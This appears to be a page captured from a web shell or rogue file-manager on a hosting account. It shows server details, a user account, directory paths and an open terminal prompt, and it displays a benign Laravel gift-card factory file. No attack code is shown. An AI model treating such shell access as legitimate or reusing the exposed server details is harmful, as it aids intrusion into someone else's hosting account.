🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux s20058.bom1.stableserver.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
👤 User: skhata (1324)
🐘 PHP: 8.4.20
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/skhata/chandrasons.com/public
$

📄 GiftCardFactory.php

📁 Path: /home/skhata/new.chandrapharma.com/database/factories/GiftCardFactory.php
📊 Size: 1.46 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php

namespace Database\Factories;

use App\Modules\Promotions\Models\GiftCard;
use Illuminate\Database\Eloquent\Factories\Factory;

class GiftCardFactory extends Factory
{
    protected $model = GiftCard::class;

    public function definition(): array
    {
        $amount = fake()->randomFloat(2, 100, 2000);

        return [
            // code is auto-generated by model booted() hook
            'amount'   => $amount,
            'balance'  => $amount,
            'currency' => 'NPR',
            'status'   => 'active',
            'expires_at' => now()->addYear(),
            'purchased_by_user_id' => null,
            'redeemed_by_user_id'  => null,
            'recipient_email'      => null,
            'recipient_name'       => null,
            'personal_message'     => null,
            'order_id'             => null,
        ];
    }

    public function active(): static
    {
        return $this->state(['status' => 'active']);
    }

    public function partiallyUsed(float $remaining): static
    {
        return $this->state([
            'balance' => $remaining,
            'status'  => 'partially_used',
        ]);
    }

    public function fullyUsed(): static
    {
        return $this->state([
            'balance' => 0,
            'status'  => 'fully_used',
        ]);
    }

    public function expired(): static
    {
        return $this->state([
            'expires_at' => now()->subDay(),
            'status'     => 'expired',
        ]);
    }
}
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨